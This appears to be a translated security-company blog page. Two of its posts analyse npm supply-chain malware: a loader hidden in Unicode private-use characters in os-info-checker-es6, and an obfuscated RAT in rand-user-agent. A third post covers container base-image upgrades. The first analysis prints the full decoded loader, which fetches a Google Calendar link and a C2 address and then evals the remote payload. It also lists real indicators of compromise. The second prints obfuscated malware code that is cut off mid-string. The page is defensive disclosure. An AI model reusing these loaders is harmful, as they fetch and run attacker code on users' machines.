Produto
Tudo o que precisa para proteger o código, a nuvem e o tempo de execução - num único sistema central
Código
Dependências
Prevenir riscos de código aberto (SCA)
Segredos
Apanhar segredos expostos
SAST
Código seguro tal como está escrito
Imagens de contentores
Proteger imagens facilmente
Malware
Prevenir ataques à cadeia de abastecimento
Infraestrutura como código
Verificar se há erros de configuração no IaC
Risco de licença e SBOMs
Evite riscos, cumpra as normas
Software desatualizado
Conheça os seus tempos de execução EOL
Nuvem
Nuvem / CSPM
Configurações incorrectas da nuvem
DAST
Testes de segurança de caixa negra
Verificação da API
Teste as suas APIs para detetar vulnerabilidades
Máquinas virtuais
Sem agentes, sem despesas gerais
Tempo de execução do Kubernetes
em breve
Proteja as suas cargas de trabalho de contentores
Inventário na nuvem
A expansão da nuvem, resolvida
Defender
Proteção em tempo de execução
Firewall na aplicação / WAF
Caraterísticas
AI AutoFix
Correcções com um clique com a IA do Aikido
Segurança CI/CD
Análise antes da fusão e da implantação
Integrações IDE
Obtenha feedback instantâneo enquanto codifica
Scanner no local
Digitalização local com prioridade à conformidade
Soluções
Casos de utilização
Conformidade
Automatize SOC 2, ISO e muito mais
Gestão de vulnerabilidades
Gestão de vulnerabilidades tudo-em-um
Proteja o seu código
Segurança de código avançada
Gerar SBOMs
1 clique Relatórios SCA
ASPM
AppSec de ponta a ponta
IA no Aikido
Deixe a IA do Aikido fazer o trabalho
Bloco 0-Dias
Bloquear ameaças antes do impacto
Indústrias
FinTech
Tecnologia da saúde
HRTech
Tecnologia jurídica
Empresas do Grupo
Agências
Startups
Empresa
Aplicações móveis
Fabrico
Preços
Recursos
Programador
Documentos
Como utilizar o Aikido
Documentos públicos da API
Centro de desenvolvimento de Aikido
Registo de alterações
Ver o que foi enviado
Segurança
Investigação interna
Informações sobre malware e CVE
Glossário
Guia do jargão de segurança
Centro de Confiança
Seguro, privado, conforme
Código aberto
Aikido Intel
Feed de ameaças de malware e OSS
Zen
Proteção da firewall na aplicação
OpenGrep
Motor de análise de código
Integrações
IDEs
Sistemas de CI/CD
Nuvens
Sistemas Git
Conformidade
Mensageiros
Gestores de tarefas
Mais integrações
Sobre
Sobre
Sobre
Conheça a equipa
Carreiras
Estamos a contratar
Kit de imprensa
Descarregar activos da marca
Calendário
Vemo-nos por aí?
Código aberto
Os nossos projectos OSS
Blogue
As últimas mensagens
Histórias de clientes
A confiança das melhores equipas
Contacto
Iniciar sessão
Comece de graça
Não é necessário CC
Aikido
Menu
Aikido
PT
PT
FR
JP
Iniciar sessão
Comece de graça
Não é necessário CC

Bem-vindo ao nosso blogue.

Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia
Por
Charlie Eriksen
Charlie Eriksen

Ataque à cadeia de fornecimento de XRP: Pacote oficial do NPM infetado com backdoor de roubo de criptografia

Malware
22 de abril de 2025
Lançamento do malware Aikido - Open Source Threat Feed
Por
Madeline Lawrence
Madeline Lawrence

Lançamento do malware Aikido - Open Source Threat Feed

Notícias
31 de março de 2025
Malware escondido à vista de todos: Espionagem de hackers norte-coreanos
Por
Charlie Eriksen
Charlie Eriksen

Malware escondido à vista de todos: Espionagem de hackers norte-coreanos

31 de março de 2025
Está convidado: Distribuir malware através de convites do Google Calendar e PUAs
Por
Charlie Eriksen
Charlie Eriksen

Está convidado: Distribuir malware através de convites do Google Calendar e PUAs

Em 19 de março de 2025, descobrimos um pacote chamado os-info-checker-es6 e ficámos surpreendidos. Percebemos que não estava a fazer o que dizia na embalagem. Mas o que é que se passa? Decidimos investigar o assunto e, inicialmente, chegámos a alguns becos sem saída. Mas a paciência compensa e acabámos por obter a maioria das respostas que procurávamos. Também ficámos a conhecer os PUAs Unicode (não, não são artistas de engate). Foi uma montanha-russa de emoções!

O que é o pacote?

O pacote não dá muitas pistas devido à falta de um LEIAME ficheiro. Aqui está o aspeto do pacote no npm:

Não é muito informativo. Mas parece que vai buscar informações sobre o sistema. Vamos em frente. 

O código malcheiroso denuncia-o

O nosso pipeline de análise levantou imediatamente muitas bandeiras vermelhas a partir do pacote pré-instalação.js devido à presença de um ficheiro eval() com entrada codificada em base64. 

‍

Vemos o eval(atob(...)) call. Isso significa "Decodificar uma string base64 e avaliá-la", ou seja, executar código arbitrário. Isso nunca é um bom sinal. Mas qual é a entrada? 

A entrada é uma cadeia de caracteres que resulta da chamada de descodificar() em um módulo nativo do Node fornecido com o pacote. A entrada para essa função se parece com... Apenas um |?! O quê? 

Temos aqui várias questões importantes:

  1. O que é que a função de descodificação está a fazer?
  2. O que é que a descodificação tem a ver com a verificação das informações do sistema operativo?
  3. Porque é que eval()'ing-lo? 
  4. Porque é que a única entrada é um |?

Vamos mais longe

Decidimos fazer engenharia reversa do binário. É um pequeno binário Rust que não faz muita coisa. Inicialmente esperávamos ver algumas chamadas a funções para obter informações do SO, mas não vimos NADA. Pensamos que talvez o binário estivesse escondendo mais segredos, fornecendo a resposta para nossa primeira pergunta. Mais sobre isso depois.

Mas então, o que se passa com o facto de a entrada para a função ser apenas um |? É aqui que as coisas ficam interessantes. Essa não é a entrada real. Copiamos o código para outro editor, e o que vemos é:

Womp-womp! Quase que se safaram. O que vemos são os chamados caracteres Unicode "Private Use Access". São códigos não atribuídos na norma Unicode, reservados para uso privado, que as pessoas podem utilizar para definir os seus próprios símbolos para a sua aplicação. São intrinsecamente não imprimíveis, pois não significam nada intrinsecamente. 

Neste caso, o descodificar no binário nativo do Node decodifica esses bytes em caracteres ASCII codificados em base64. Muito inteligente!

Vamos dar uma volta com ele

Então, decidimos examinar o código real. Felizmente, ele salva o código executado em um arquivo run.txt. E é apenas isto:

consola.log('Verificar');

Isso é muito desinteressante. O que é que eles estão a fazer? Porque é que estão a fazer todo este esforço para esconder este código? Ficámos atónitos. 

Mas depois...

Nós começamos a ver pacotes publicados que dependiam deste pacote, um deles sendo do mesmo autor. Eles eram:

  • saltar (19 de março de 2025)
    • É uma cópia do pacote vue-skip-to.
  • vue-dev-serverr (31 de março de 2025)
    • É uma cópia do repositório https://github.com/guru-git-man/first.
  • vue-dummyy (3 de abril de 2025)
    • É uma cópia do pacote vue-dummy.
  • vue-bit (3 de abril de 2025)
    • Está a fingir ser o pacote @teambit/bvm.
    • Não contém qualquer código efetivo.

‍

Todos eles têm em comum o facto de acrescentarem os-info-checker-es6 como uma dependência, mas nunca chamar o descodificar função. Que desilusão. Não sabemos o que os atacantes pretendiam fazer. Nada aconteceu durante algum tempo até que o os-info-checker-es6 O pacote foi novamente atualizado após uma longa pausa.

FINALMENTE

Há algum tempo que este caso não me saía da cabeça. Não fazia sentido. O que é que eles estavam a tentar fazer? Ter-me-á escapado algo óbvio quando descompilei o módulo nativo do Node? Porque é que um atacante iria queimar esta nova capacidade tão cedo? A resposta veio em 7 de maio de 2025, quando uma nova versão do os-info-checker-es6, versão 1.0.8, saiu. O pré-instalação.js mudou. 

Oh, olha, a cadeia ofuscada é muito mais longa! Mas a avaliação é comentada. Assim, mesmo que exista um payload malicioso na string ofuscada, ele não será executado. O quê? Executámos o descodificador numa caixa de areia e imprimimos a cadeia descodificada. Aqui está ela depois de um pouco de embelezamento e anotações manuais:

const https = require('https');
const fs    = require('fs');

/**
 * Extract the first capture group that matches the pattern:
 *     ${attrName}="([^\"]*)"
 */
const ljqguhblz = (html, attrName) => {
  const regex = new RegExp(`${attrName}${atob('PSIoW14iXSopIg==')}`); // ="([^"]*)"
  return html.match(regex)[1];
};

/**
 * Stage-1: fetch a Google-hosted bootstrap page, follow redirects and
 *           pull the base-64-encoded payload URL from its data-attribute.
 */
const krswqebjtt = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      // Handle HTTP 30x redirects manually so we can keep extracting headers.
      if (res.status !== 200) {
        const redirect = res.headers.get(atob('bG9jYXRpb24=')); // 'location'
        return krswqebjtt(redirect, cb);
      }

      const body = await res.text();
      cb(null, ljqguhblz(body, atob('ZGF0YS1iYXNlLXRpdGxl'))); // 'data-base-title'
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    console.log(err);
    cb(err);
  }
};

/**
 * Stage-2: download the real payload plus.
 */
const ymmogvj = async (url, cb) => {
  try {
    const res = await fetch(url);

    if (res.ok) {
      const body = await res.text();
      const h    = res.headers;
      cb(null, {
        acxvacofz : body,                               // base-64 JS payload
        yxajxgiht : h.get(atob('aXZiYXNlNjQ=')),        // 'ivbase64' 
        secretKey : h.get(atob('c2VjcmV0a2V5')),        // 'secretKey' 
      });
    } else {
      cb(new Error(`HTTP status ${res.status}`));
    }
  } catch (err) {
    cb(err);
  }
};

/**
 * Orchestrator: keeps trying the two stages until a payload is successfully executed.
 */
const mygofvzqxk = async () => {
  await krswqebjtt(
    atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlL3Q1Nm5mVVVjdWdIOVpVa3g5'), // https://calendar.app.google/t56nfUUcugH9ZUkx9
    async (err, link) => {
      if (err) {
        console.log('cjnilxo');
        await new Promise(r => setTimeout(r, 1000));
        return mygofvzqxk();
      }

      await ymmogvj(
        atob(link),
        async (err, { acxvacofz, yxajxgiht, secretKey }) => {
          if (err) {
            console.log('cjnilxo');
            await new Promise(r => setTimeout(r, 1000));
            return mygofvzqxk();
          }

          if (acxvacofz.length === 20) {
            return eval(atob(acxvacofz));
          }

          // Execute attacker-supplied code with current user privileges.
          eval(atob(acxvacofz));
        }
      );
    }
  );
};

/* ---------- single-instance lock ---------- */
const gsmli = `${process.env.TEMP}\\pqlatt`;
if (fs.existsSync(gsmli)) process.exit(1);
fs.writeFileSync(gsmli, '');
process.on('exit', () => fs.unlinkSync(gsmli));

/* ---------- kick it all off ---------- */
mygofvzqxk();

/* ---------- resilience ---------- */
let yyzymzi = 0;
process.on('uncaughtException', async (err) => {
  console.log(err);
  fs.writeFileSync('_logs_cjnilxo_uncaughtException.txt', String(err));
  if (++yyzymzi > 10) process.exit(0);
  await new Promise(r => setTimeout(r, 1000));
  mygofvzqxk();
});

Viste o URL para o Google Calendar no orquestrador? Isso é uma coisa interessante de se ver num malware. Muito interessante. 

Estão todos convidados!

Eis o aspeto da ligação:

‍

Um convite de calendário com uma cadeia de caracteres codificada em base64 como título. Lindo! A foto de perfil da pizza fez-me esperar que talvez fosse um convite para uma festa de pizza, mas o evento está marcado para 7 de junho de 2027. Não posso esperar tanto tempo por uma pizza. No entanto, vou querer outra string codificada em base64. Aqui está o que ela descodifica:

http://140.82.54[.]223/2VqhA0lcH6ttO5XZEcFnEA%3D%3D

Num beco sem saída... outra vez

Esta investigação tem sido cheia de altos e baixos. Pensámos que as coisas estavam num beco sem saída, mas depois voltaram a aparecer sinais de vida. Estivemos tão perto de descobrir a REAL intenção maliciosa do programador, mas não conseguimos.

Não se enganem - esta foi uma nova abordagem à ofuscação. Seria de esperar que qualquer pessoa que dedicasse tempo e esforço a fazer algo deste género utilizasse as capacidades que desenvolveu. Em vez disso, parece que não fizeram nada com isso, mostrando a sua mão. 

Como resultado, o nosso motor de análise detecta agora padrões como este, em que um atacante tenta esconder dados em caracteres de controlo não imprimíveis. Este é outro caso em que tentar ser inteligente, em vez de dificultar a deteção, na verdade cria mais sinais. Porque é tão invulgar que se destaca e acena com um grande sinal a dizer: "NÃO ESTOU A FAZER NADA DE BOM". Continuem com o ótimo trabalho. 👍

Indicadores de compromisso

Pacotes

  • os-info-checker-es6
  • saltar
  • vue-dev-serverr
  • vue-dummyy
  • vue-bit

IPs

  • 140.82.54[.]223

URLs

  • https://calendar.app[.]google/t56nfUUcugH9ZUkx9

Reconhecimento

Durante esta investigação, fomos ajudados pelos nossos grandes amigos da Vector35, que nos forneceram uma licença de teste da sua ferramenta Binary Ninja para garantir que compreendíamos totalmente o módulo nativo do Node. Um grande obrigado à equipa pelo seu excelente produto. 👏

‍

Malware
13 de maio de 2025
Por que atualizar imagens de base de contêineres é tão difícil (e como torná-lo mais fácil)
Por
Mackenzie Jackson
Mackenzie Jackson

Por que atualizar imagens de base de contêineres é tão difícil (e como torná-lo mais fácil)

A segurança dos contentores começa com a sua imagem de base.
Mas aqui está o senão:

  • A simples atualização para a versão "mais recente" de uma imagem de base pode danificar a sua aplicação.
  • É forçado a escolher entre enviar vulnerabilidades conhecidas ou passar dias a corrigir problemas de compatibilidade.
  • E muitas vezes... nem sequer tem a certeza se vale a pena fazer uma atualização.

Neste post, vamos explorar por que atualizar imagens de base é mais difícil do que parece, passar por exemplos reais e mostrar como você pode automatizar atualizações seguras e inteligentes sem quebrar seu aplicativo.

O problema: "Basta atualizar a sua imagem de base" - É mais fácil falar do que fazer

Se está a ler isto, provavelmente já pesquisou no Google algo como "Como proteger os seus contentores" e o primeiro ponto em todos os artigos gerados por IA que leu é este: actualize a sua imagem de base. Simples, certo? Bem, não tão rápido. 

A sua imagem de base é o seu ponto central de segurança, se a sua imagem de base tiver vulnerabilidades no seu interior, então a sua aplicação carrega essas vulnerabilidades com ela. Vamos analisar este cenário. 

Executa uma análise à sua imagem de contentor e é encontrado um CVE de alta gravidade. A recomendação útil é atualizar a imagem de base, o que é fantástico, e estará pronto antes do almoço. 

⚠️ CVE-2023-37920 encontrado em ubuntu:20.04
Gravidade: Alta
Corrigido em: 22.04
Recomendação: Atualizar a imagem base

... mas descobrem um problema. 

Ao atualizar cegamente a partir de ubuntu:20.04 para ubuntu:22.04, a sua candidatura fica desfeita.

Vejamos alguns exemplos de colisão de uma imagem de base e o que acontece na realidade. 

Exemplo 1: Um Dockerfile que quebra após uma atualização

Dockerfile inicial:

DE python:3.8-buster‍
EXECUTAR apt-get update && apt-get install -y libpq-dev
EXECUTAR pip install psycopg2==2.8.6 flask==1.1.2
COPY . /appCMD ["python", "app.py"]

A equipa actualiza-se para:

DE python:3.11-bookworm‍
EXECUTAR apt-get update && apt-get install -y libpq-dev
EXECUTAR pip install psycopg2==2.8.6 flask==1.1.2COPY . /appCMD ["python", "app.py"]

Resultado:

  • psycopg2==2.8.6 não consegue compilar com as versões mais recentes do libpq cabeçalhos em leitor de livros.
  • frasco==1.1.2 não suporta Python 3.11 caraterísticas de tempo de execução (quebra de APIs obsoletas).
  • A construção é interrompida na CI.
  • A sua equipa de desenvolvimento está furiosa e o seu almoço está arruinado. 

Exemplo 2: Actualizações da imagem de base que introduzem erros subtis de tempo de execução

Original:

DE node:14-busterCOPY. /app
EXECUTAR npm ci
CMD ["node", "server.js"]

Atualizar para:

FROM node:20-bullseye
COPIAR . /app
EXECUTAR npm ci
CMD ["node", "server.js"]

Problema de tempo de execução:

  • nó:20 utiliza os mais recentes OpenSSL versões - a verificação estrita do TLS quebra as configurações mais antigas do axios.
  • A aplicação lança UNABLE_TO_VERIFY_LEAF_SIGNATURE erros em tempo de execução HTTP chamadas para serviços antigos.

Porque é que o "mais recente" é uma armadilha

O ecossistema Docker incentiva o uso das tags mais recentes ou versões de primeira linha. Mas isso geralmente significa que seu aplicativo que estava em execução na segunda-feira de repente falha na terça-feira. Isso geralmente é uma armadilha que causará dores de cabeça, interrupções e desenvolvimento mais lento, pois você gasta tempo corrigindo bugs. 

Portanto, a solução é, obviamente, fixar uma versão menor que tenha testado.... Não tão depressa, pois agora entrou no jogo de segurança whack-a-mole onde estará sempre a descobrir novos CVEs que o podem deixar vulnerável. 

Paralisia de decisão: Deve atualizar ou não?

As equipas de segurança insistem nas actualizações.
Os programadores insistem na estabilidade.

Quem é que tem razão? Depende.

MAS, para compreender a decisão, é necessário analisar todas as opções, o que significa criar uma folha de cálculo enorme com todas as versões, riscos de segurança, riscos de estabilidade e disponibilidade. 

Vamos ver como é que isso pode ser. 

Etiqueta da versão CVEs presentes (Alto/Crítico) Risco de compatibilidade (1-5) Principais alterações de rutura / Risco funcional Suporte de binários do ecossistema (binários Wheels/NPM)
nó:14-buster (Atual) - CVE-2022-35256 (estouro de buffer OpenSSL)
- CVE-2022-25883 (node-fetch SSRF)
- CVE-2021-32803 (poluição de protótipo em object-path)
1 (Estável mas em envelhecimento) TLS herdado, dependências inseguras incorporadas Totalmente suportado, mas EOL (manutenção interrompida em abril de 2023)
nó:14-bullseye - Os mesmos CVEs que os anteriores + pequenos problemas adicionais com o OpenSSL 1 Pequenas alterações glibc
Potenciais alterações de compatibilidade da camada de tempo de execução do Docker
Estável; o ecossistema wheel & NPM ainda é suportado
nó:16-buster - CVE-2023-30581 (libuv OOB write)
- CVE-2022-35256 (OpenSSL overflow)
- CVE-2022-25883 (node-fetch SSRF)
2 Avisos de depreciação do construtor Buffer()
As bibliotecas HTTP herdadas emitem avisos rigorosos
Amplamente apoiado
nó:16-bullseye - O mesmo que acima + pequenas actualizações do OpenSSL 2 Comportamento ligeiramente diferente do resolvedor de DNS
Necessita de cobertura de teste para chamadas de rede interna
Apoiado
nó:18-bullseye - CVE-2022-45195 (vulnerabilidade TLS numa versão mais antiga)
- CVE-2023-30581 (escrita OOB da libuv)
3 Modo estrito do TLS por predefinição
Axios herdado e bibliotecas de pedidos mais antigas falham em certificados estritos
Ecossistema a meio da maturidade; alguns módulos requerem actualizações
nó:18-alpine - O mesmo que acima; riscos de incompatibilidade da glibc do Alpine 4 Alpine musl pode quebrar certos módulos nativos como bcrypt
Problemas de fallback de compilação a partir da fonte
Precisa de reconstruções para binários nativos
nó:20-bullseye - 0 CVEs elevados (atualmente estáveis) 4 Breaking DNS resolver changes
Default ESM loader changes
axios < 1.3.2 breaks
Apoiado ativamente; ecossistema em recuperação
node:20-bookworm (mais recente) - 0 CVEs elevados (a partir de março de 2024) 5 Principais mudanças:
Strict TLS
Mudanças no DNS
Aplicação do ESM
Plugins NPM mais antigos falham
Alguns módulos de nicho ainda estão a ser actualizados; é necessária a última versão do node-gyp

Isto deixa-o com escolhas complexas, de má qualidade e impossíveis 

  1. Manter a imagem antiga e aceitar as vulnerabilidades
  2. Atualizar e danificar a sua aplicação, arriscando o tempo de inatividade da produção
  3. Tentar efetuar um teste de compatibilidade manual - dias de trabalho

O fluxo de trabalho de atualização manual:

Se estiver a fazer isto à mão, o resultado é o seguinte:

  • Verificar CVEs: imagem trivy python:3.8-buster
  • Pesquise cada CVE: é acessível no contexto da sua aplicação?
  • Decidir sobre o candidato à atualização 
  • Teste a nova imagem:
    • Construir
    • Executar testes unitários
    • Executar testes de integração
  • Se falhar, tente corrigir o código ou atualizar as bibliotecas.
  • Repetir o procedimento para todos os recipientes.

É cansativo.

O custo de ficar parado

Pode pensar-se que "se não está estragado, não se arranja".

Mas os CVEs de contentores não corrigidos contribuem maciçamente para as violações de segurança. "87% das imagens de contentores em produção tinham pelo menos uma vulnerabilidade crítica ou de elevada gravidade." fonte 

Há também muitas explorações conhecidas que existem em imagens de base populares. 

  • Vulnerabilidade de travessia de caminho do Unzip (CVE-2020-27350) - esteve durante anos em milhões de contentores.
  • Heartbleed (CVE-2014-0160) permaneceram nos contentores antigos muito depois das correcções oficiais.
  • PHP-FPM RCE (CVE-2019-11043) permitem que atacantes remotos executem código arbitrário através de pedidos HTTP criados e era extremamente comum em imagens de base de contentores com PHP-FPM pré-instalado antes de ser corrigido

Como é que a nossa funcionalidade de correção automática ajuda

Para resolver este cenário exato, a Aikido Security lançou a nossa funcionalidade de auto-correção de contentores porque, bem, nós também vivemos neste sofrimento. 

A funcionalidade funciona da seguinte forma: as suas imagens, o Aikido analisa os seus contentores à procura de vulnerabilidades. Se (ou, mais provavelmente, quando) encontrarmos vulnerabilidades, como sempre, alertamo-lo. Depois, em vez de lhe gritarmos para atualizar a sua imagem de base, fornecemos-lhe diferentes opções. Criamos uma tabela que lhe permite saber que versão da imagem de base irá resolver que CVEs, desta forma pode ver muito rapidamente que um pequeno aumento pode remover todos ou a maioria dos CVEs elevados, o que significa que esta é uma atualização adequada da imagem de base. 

Se a atualização for um pequeno aumento, pode criar automaticamente um pull request para aumentar a versão. 

São horas de trabalho poupadas

Conclusão:

  • Atualizar imagens de base de contentores é realmente difícil.
  • O conselho "basta atualizar" simplifica demasiado um processo complexo e cheio de riscos.
  • As suas equipas têm razão em ser cautelosas, mas não devem ter de escolher entre segurança e estabilidade.
  • O autofix do contentor Aikido faz o trabalho difícil por si, para que possa tomar uma decisão informada. 
  • Assim, da próxima vez que vir um alerta de vulnerabilidade de imagem de base, não entrará em pânico. Vai ter um PR.

‍

Engenharia
12 de maio de 2025
RATatatouille: Uma receita maliciosa escondida no rand-user-agent (Supply Chain Compromise)
Por
Charlie Eriksen
Charlie Eriksen

RATatatouille: Uma receita maliciosa escondida no rand-user-agent (Supply Chain Compromise)

Em 5 de maio, às 16:00 GMT+0, o nosso pipeline de análise automática de malware detectou um pacote suspeito lançado, rand-user-agent@1.0.110. Detectou código invulgar no pacote, e não estava errado. Detectou sinais de um ataque à cadeia de fornecimento contra este pacote legítimo, que tem cerca de 45.000 descargas semanais. 

O que é o pacote?

O pacote `rand-user-agent` gera strings de user-agent reais aleatórias com base na sua frequência de ocorrência. Ele é mantido pela empresa WebScrapingAPI(https://www.webscrapingapi.com/).

O que é que detectámos?

O nosso motor de análise detectou código suspeito no ficheiro dist/index.js. Vamos dar uma olhadela, aqui visto através da vista de código no site do npm:

Código oculto através da barra de deslocamento no rand-user-agent

Reparou em alguma coisa engraçada? Estão a ver aquela barra de deslocamento no fundo? Bolas, voltaram a fazê-lo. Tentaram esconder o código. Aqui está o que eles estão a tentar esconder, embelezado:

global["_V"] = "7-randuser84";
global["r"] = require;
var a0b, a0a;
(function () {
  var siM = "",
    mZw = 357 - 346;
  function pHg(l) {
    var y = 2461180;
    var i = l.length;
    var x = [];
    for (var v = 0; v < i; v++) {
      x[v] = l.charAt(v);
    }
    for (var v = 0; v < i; v++) {
      var h = y * (v + 179) + (y % 18929);
      var w = y * (v + 658) + (y % 13606);
      var s = h % i;
      var f = w % i;
      var j = x[s];
      x[s] = x[f];
      x[f] = j;
      y = (h + w) % 5578712;
    }
    return x.join("");
  }
  var Rjb = pHg("thnoywfmcbxturazrpeicolsodngcruqksvtj").substr(0, mZw);
  var Abp =
    'e;s(Avl0"=9=.u;ri+t).n5rwp7u;de(j);m"[)r2(r;ttozix+z"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o4at1nj,2m9.o;i0uhl[j1zen oq9v,=)eAa8hni e-og(e;s+es7p,.inC7li1;o 2 gai](r;rv=1fyC[  v =>agfn,rv"7erv,htv*rlh,gaq0.i,=u+)o;;athat,9h])=,um2q(svg6qcc+r. (u;d,uor.t.0]j,3}lr=ath()(p,g0;1hpfj-ro=cr.[=;({,A];gr.C7;+ac{[=(up;a](s sa)fhiio+cbSirnr; 8sml o<.a6(ntf gr=rr;ea+=;u{ajrtb=bta;s((tr]2+)r)ng[]hvrm)he<nffc1;an;f[i]w;le=er=v)daec(77{1)lghr(t(r0hewe;<a tha);8l8af6rn o0err8o+ivrb4l!);y rvutp;+e]ez-ec=).(])o r9=rg={0r4=l8i2gCnd)[];dca=,ivu8u rs2+.=7tjv5(=agf=,(s>e=o.gi9nno-s)v)d[(tu5"p)6;n2lpi)+(}gd.=}g)1ngvn;leti7!;}v-e))=v3h<evvahr=)vbst,p.lforn+pa)==."n1q[==cvtpaat;e+b";sh6h.0+(l}==+uca.ljgi;;0vrwna+n9Ajm;gqpr[3,r=q10or"A.boi=le{}o;f h n]tqrrb)rsgaaC1r";,(vyl6dnll.(utn yeh;0[g)eew;n);8.v +0+,s=lee+b< ac=s."n(+l[a(t(e{Srsn a}drvmoi]..odi;,=.ju];5a=tgp(h,-ol8)s.hur;)m(gf(ps)C';
  var QbC = pHg[Rjb];
  var duZ = "";
  var yCZ = QbC;
  var pPW = QbC(duZ, pHg(Abp));
  var fqw = pPW(
    pHg(
      ']W.SJ&)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\/P<t(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a ]Qpip]#PZP;eNP_P6(=qu!Pqk%\/pT=tPd.f3(c2old6Y,a5)4 (_1!-u6M<!6=x.b}2P 4(ba9..=;p5P_e.P)aP\/47PtonaP\/SPxse)59f.)P)a2a,i=P]9q$.e=Pg23w^!3,P.%ya05.&\'3&t2)EbP)P^P!sP.C[i_iP&\'. 3&5ecnP(f"%.r5{!PPuH5].6A0roSP;;aPrg(]oc8vx]P(aPt=PP.P)P)(he6af1i0)4b(( P6p7Soat9P%2iP y 1En,eVsePP[n7E)r2]rNg3)CH(P2.s>jopn2P$=a7P,].+d%1%p$]8)n_6P1 .ap;=cVK%$e(?,!Vhxa%PPs);.tbr.r5ay25{gPegP %b7 (!gfEPeEri3iut)da(saPpd%)6doPob%Ds e5th }PP781su{P.94$fe.b.({(!rb=P(a{t3t8eBM,#P^m.q.0StPro8)PP(]"nP)e4(y)s.1n4 tl658r)Pove5f;%0a8e0c@P(d16(n.jsP)y=hP3,.gsvP4_%;%c%e.xd[,S1PhWhP.$p.p`i0P?PP5P_Paddn%D$_xn)3,=P]axn0i.(3;.0vcPj%y=cd56ig\/P=[ .nr)Ps iPedjgo5\/o6.m#;dD%iax,[aK1ot(S%hI noqjf7oPoezP,0,9d){cPx uPmsb11ah9n22=8j{wAPe1 ciP;db((KP9%l5=0.aP%}] std1.tt).A%.%brib);N)0d{4h6f4N)8mt$9)g) 7n;(a(_(7 laP!($!.1s5]P4P)hiu%72P1}Ve.+)12>%$P)_1P)na3)_tP\'69086t3im=n1M1c)0);)d3)4neaPD]4m(%fd[Pofg6[m}b4P[7vV)P)S;P]]=9%124oDtrP;f)[(;)rdPiP3d}0f.3a]SI=))}:X^d5oX,)aCh]]h19dzd.Pf_Pad]j02a)bPm3x0(aPzV;6+n#:pPd.P8)(aa,$P7o%)),;)?4.dP=2PP.Piu!(})30YP4%%66]0blP,P1cfPoPPG{P8I(]7)n! _t. .PsP};.)\/(hP)f)Loc5QPX>a!nT}aPa_P6jfrP0]fSoaPs.jbs )aPW+\/P8oaP}_RjGpPS,r___%%.v(ZP.3)! i]H1{(a2P;Pe)ji.Pi10lc.cp6ymP13]PL5;cPPK%C c79PGp=%P1^%}().j.rPsoa]sP+_P)l)]P(P8bP,ap$BP,;,c01;51bP(PccP))tPh]hc4B(P=(h%l<Ps!4w]_c[]e(tnyP)))P_a?+P+P.H],2-tfa^$;r(P!\\a]))1c&o1..j(%sPxef5P.6aP;9.b Rg(f=)\/vb9_3,P95&PP,\\=9p423).P]_7,"E)n\/Js2 PF)aPPPi)b0!06o6.8oa=thx2!..P$P oPs8PxP)n)aP;o71PkPp7i$Pb)P]_a,rta%_jUa<48R(;[!]VPaPut7rf.+v$aP$ i$P&56l.%]dP9(s1e$7b=34}MPt0,(c(.P(fPic$=ch)nP?jf0!PP8n9i2].P1)PPMa.t$)4P.q].ii3}aP;aPPr,bg;PdP98tPctPa0()_%dPr =.r.mJt)(P]sCJoeb(PiaPo(lr*90aPPgo\\dP\/PPa+mx2fPpPP4,)Pd8Nfp4uaIho]c[]361P&b}bPPP4t=3\'a)PnP(,8fp]P706p1PPle$f)tcPoP 7bP$!-vPPW10 0yd]4)2"ey%u2s9)MhbdP]f9%P.viP4P=,a s].=4])n$GPPsPaoP81}[%57)]CSPPa;!P2aPc..Pba?(Pati0]13PP,{P(haPcP;W%ff5XPia.j!4P(ablil}rcycN.7Pe.a_4%:7PHctP1P)c_(c;dt.Pl(PPP)V\/[Ph_.j&P]3geL[!c$P3P88ea(a8.d,)6fPP3a=rz3O[3)\\bnd=)6ac.a?,(]e!m=;{a&(]c_01rP_)2P9[xfz._9P,qP.9k%0mPen_a"]4PtP(m;PP})t2PkPPp=])d9Pt}oa)eP)rPi@j(+PP@.#P(t6=%[\\a\\}o2jr51d;,Paw$\/4Pt;2P23iP(_CPO2p.$(iP*]%!3P(P.3()P1m7(U7tI#9wejf.sc.oes)rPgt(+oe;,Px5(sn;O0f_22)r.z}l]Ig4a)xF P}?P;$?cw3,bg\\cPaP(grgalP$)(]e@2),Pa(fP=_,t{) (ec]aP1f2.z1[P !3 ?_b],P4CnoPx%)F9neQ.;sPb11ao1)6Pdd_l(%e)}Plp((4c6pou46ea# mdad_3hP3a.m,d.P(l]Q{Pt")7am=qPN7)$ oPF(P%kPat)$Pbaas=[tN;1;-?1)hO,,Pth;}aP.PP),,:40P#U}Paa92.|,m-(}g #a.2_I? 56a3PP(1%7w+11tPbPaPbP.58P6vrR,.{f.or)nn.d]P]r03j0;&482Pe.I_siP(Iha3=0zPy\/t%](_e)))[P26((;,d$P6e(l]r+C=[Pc347f3rTP=P.%f)P96].%P]"0InP(5a_iPIP13WNi)a4mP.s=`aveP>.;,$Es)P2P0=)v_P%8{P;o).0T2ox*PP:()PTS!%tc])4r.fy sefv{.)P9!jltPPsin6^5t(P0tr4,0Pt_P6Pa]aa|(+hp,)pPPCpeP.13l])gmrPc3aa] f,0()s3.tf(PPriPtb40aPnr8 2e0"2>P0tj$d_75!LG__7xf7);`f_fPPP]c6Wec;{Pi4.!P(\\#(b_u{=4RYr ihHP=Pac%Po 5vyt)DP6m5*1# 3ao6a7.0f1f0P. )iKPb),{PPPd=Po;roP$f=P1-_ePaa!8DV()[oP3(i,Pa,(c=o({PpPl#).c! =;"i;j]1vr i.d-j=t,).n9t%r5($Plc;?d]8P<=(sPP)AoPa)) P1x]Kh)(0]}6PAfbCp7PP(1oni,!rsPu.!-2g0 ,so0SP3P4j0P2;QPPjtd9 46]l.]t7)>5s31%nhtP!a6pP0P0a[!fPta2.P3 \\. ,3b.cb`ePh(Po a+ea2af(a13 oa%:}.kiM_e!d Pg>l])(@)Pg186( .40[iPa,sP>R(?)7zrnt)Jn[h=)_hl)b$3`($s;c.te7c}P]i52"9m3t ,P]PPP_)e4tf0Ps 